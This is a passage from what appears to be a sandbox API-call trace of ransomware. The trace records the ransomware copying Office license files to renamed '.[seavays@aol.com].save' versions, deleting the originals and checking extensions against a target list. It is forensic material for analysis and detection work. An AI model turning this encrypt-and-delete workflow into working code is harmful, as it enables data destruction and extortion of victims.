Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.540] lstrlenW (lpString=".doc") returned 4 [0195.540] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".docx") returned 5 [0195.540] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.540] lstrlenW (lpString=".pdf") returned 4 [0195.540] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".xls") returned 4 [0195.540] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".xlsx") returned 5 [0195.540] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.540] lstrlenW (lpString=".ppt") returned 4 [0195.540] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.540] lstrlenW (lpString=".zip") returned 4 [0195.540] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".rar") returned 4 [0195.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".bz2") returned 4 [0195.540] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString=".7z") returned 3 [0195.540] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.540] lstrlenW (lpString=".dbf") returned 4 [0195.540] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.540] lstrlenW (lpString=".1cd") returned 4 [0195.540] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0195.541] lstrlenW (lpString=".jpg") returned 4 [0195.541] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.304] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.304] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.306] GetLastError () returned 0x0 [0196.306] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d59, lpOverlapped=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0196.309] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0196.309] SetEndOfFile (hFile=0x44c) returned 1 [0196.309] CloseHandle (hObject=0x44c) returned 1 [0196.309] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.309] SetEndOfFile (hFile=0x374) returned 1 [0196.316] CloseHandle (hObject=0x374) returned 1 [0196.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1 [0196.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.317] lstrlenW (lpString=".doc") returned 4 [0196.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".docx") returned 5 [0196.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.318] lstrlenW (lpString=".pdf") returned 4 [0196.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".xls") returned 4 [0196.318] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".xlsx") returned 5 [0196.318] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.318] lstrlenW (lpString=".ppt") returned 4 [0196.318] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.318] lstrlenW (lpString=".zip") returned 4 [0196.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".rar") returned 4 [0196.318] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".bz2") returned 4 [0196.318] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString=".7z") returned 3 [0196.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.318] lstrlenW (lpString=".dbf") returned 4 [0196.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.318] lstrlenW (lpString=".1cd") returned 4 [0196.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0196.318] lstrlenW (lpString=".jpg") returned 4 [0196.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.319] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22465) returned 1 [0196.319] CloseHandle (hObject=0x374) returned 1 [0196.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220 [0196.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0196.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0196.321] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.321] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.322] GetLastError () returned 0x0 [0196.322] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x57c1, lpOverlapped=0x0) returned 1 [0196.325] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x57d0, lpOverlapped=0x0) returned 1 [0196.327] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.327] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0196.327] SetEndOfFile (hFile=0x44c) returned 1 [0196.327] CloseHandle (hObject=0x44c) returned 1 [0196.327] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.327] SetEndOfFile (hFile=0x374) returned 1 [0196.331] CloseHandle (hObject=0x374) returned 1 [0196.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1 [0196.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.333] lstrlenW (lpString=".doc") returned 4 [0196.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.333] lstrlenW (lpString=".docx") returned 5 [0196.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.333] lstrlenW (lpString=".pdf") returned 4 [0196.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.333] lstrlenW (lpString=".xls") returned 4 [0196.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.333] lstrlenW (lpString=".xlsx") returned 5 [0196.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.334] lstrlenW (lpString=".ppt") returned 4 [0196.334] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.334] lstrlenW (lpString=".zip") returned 4 [0196.334] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString=".rar") returned 4 [0196.334] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString=".bz2") returned 4 [0196.334] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString=".7z") returned 3 [0196.334] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.334] lstrlenW (lpString=".dbf") returned 4 [0196.334] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.334] lstrlenW (lpString=".1cd") returned 4 [0196.334] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0196.334] lstrlenW (lpString=".jpg") returned 4 [0196.334] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.336] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.336] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.337] GetLastError () returned 0x0 [0196.338] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d6a, lpOverlapped=0x0) returned 1 [0196.568] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.569] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11a, lpOverlapped=0x0) returned 1 [0196.570] SetEndOfFile (hFile=0x44c) returned 1 [0196.570] CloseHandle (hObject=0x44c) returned 1 [0196.570] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.570] SetEndOfFile (hFile=0x374) returned 1 [0196.574] CloseHandle (hObject=0x374) returned 1 [0196.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1 [0196.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.576] lstrlenW (lpString=".doc") returned 4 [0196.576] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.576] lstrlenW (lpString=".docx") returned 5 [0196.576] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.576] lstrlenW (lpString=".pdf") returned 4 [0196.576] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.576] lstrlenW (lpString=".xls") returned 4 [0196.576] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.576] lstrlenW (lpString=".xlsx") returned 5 [0196.576] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.576] lstrlenW (lpString=".ppt") returned 4 [0196.576] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.577] lstrlenW (lpString=".zip") returned 4 [0196.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString=".rar") returned 4 [0196.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString=".bz2") returned 4 [0196.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString=".7z") returned 3 [0196.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.577] lstrlenW (lpString=".dbf") returned 4 [0196.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.577] lstrlenW (lpString=".1cd") returned 4 [0196.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0196.577] lstrlenW (lpString=".jpg") returned 4 [0196.577] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.578] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.579] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.580] GetLastError () returned 0x0 [0196.580] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0196.582] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0196.584] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.584] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x130, lpOverlapped=0x0) returned 1 [0196.584] SetEndOfFile (hFile=0x44c) returned 1 [0196.584] CloseHandle (hObject=0x44c) returned 1 [0196.584] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.584] SetEndOfFile (hFile=0x374) returned 1 [0196.588] CloseHandle (hObject=0x374) returned 1 [0196.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0196.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.590] lstrlenW (lpString=".doc") returned 4 [0196.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.590] lstrlenW (lpString=".docx") returned 5 [0196.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.591] lstrlenW (lpString=".pdf") returned 4 [0196.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString=".xls") returned 4 [0196.591] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString=".xlsx") returned 5 [0196.591] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.591] lstrlenW (lpString=".ppt") returned 4 [0196.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.591] lstrlenW (lpString=".zip") returned 4 [0196.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString=".rar") returned 4 [0196.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString=".bz2") returned 4 [0196.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString=".7z") returned 3 [0196.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.591] lstrlenW (lpString=".dbf") returned 4 [0196.591] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.591] lstrlenW (lpString=".1cd") returned 4 [0196.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0196.591] lstrlenW (lpString=".jpg") returned 4 [0196.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.593] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.593] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.594] GetLastError () returned 0x0 [0196.594] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5a1c, lpOverlapped=0x0) returned 1 [0196.597] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5a20, lpOverlapped=0x0) returned 1 [0196.598] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.598] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x110, lpOverlapped=0x0) returned 1 [0196.598] SetEndOfFile (hFile=0x44c) returned 1 [0196.599] CloseHandle (hObject=0x44c) returned 1 [0196.599] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.599] SetEndOfFile (hFile=0x374) returned 1 [0196.604] CloseHandle (hObject=0x374) returned 1 [0196.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1 [0196.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.606] lstrlenW (lpString=".doc") returned 4 [0196.606] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.607] 